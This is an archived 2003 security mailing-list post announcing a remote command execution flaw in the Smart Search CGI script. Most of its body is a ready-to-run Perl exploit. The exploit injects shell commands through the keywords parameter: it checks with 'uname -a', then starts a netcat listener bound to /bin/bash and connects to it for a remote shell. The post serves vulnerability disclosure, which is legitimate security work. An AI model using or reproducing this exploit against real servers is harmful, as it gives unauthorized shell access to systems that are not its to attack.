[EXPL] Smart Search CGI Remote Command Execution Exploit

From: support@securiteam.com
Date: 01/05/03

  • Next message: support@securiteam.com: "[EXPL] CUPS Integer Overflow Exploit"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 5 Jan 2003 14:49:09 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Smart Search CGI Remote Command Execution Exploit
    ------------------------------------------------------------------------

    SUMMARY

     <http://smartcgis.com/smartsearch/> Smart Search is a unique search
    engine script like none other available for sale on the Internet. A
    vulnerability in the product allows remote attackers to cause it to
    execute arbitrary commands.

    DETAILS

    Exploit:
    #!/usr/bin/perl -w
    #
    # Smart Search CGI Remote Exploit by: Knight420
    #
    # Greetz: echo, qubit, lkm, omega, borgon
    #

    use IO::Socket;
    if ($#ARGV<0)
    {
    print "\nSmart Search CGI Remote Exploit by: Knight420";
    print "\n\n Usage: perl smartass.pl ip path\n\n";
    exit;
    }
    $elite = ("GET
    $ARGV[1]smartsearch.cgi?keywords=|nc%20-vv%20-l%20-p%206900%20-t%20-e%20/bin/bash|
    HTTP/1.0");
    $check = ("GET $ARGV[1]smartsearch.cgi?keywords=|uname%20-a| HTTP/1.0");
    $connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]",
    PeerPort=>"80"); unless ($connect) { die "Cannot connect to host $ARGV[0]"
    }
    system('clear ');
    print "Smart Search CGI Remote Exploit by: knight420";
    print "\n*** [1] Checking if remote host is vulnerable...";
    print $connect "$check";
    if ($#connect<0)
    {
    print "\n*** [*] Remote host is not vulnerable... \n";
    exit;
    }
    print "\n *** [2] Host is vulnerable...Sending exploit code";
    print $connect "$elite";
    system('nc -v $ARGV[0] 6900 ');
    close($connect);

    ADDITIONAL INFORMATION

    The information has been provided by Knight420.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.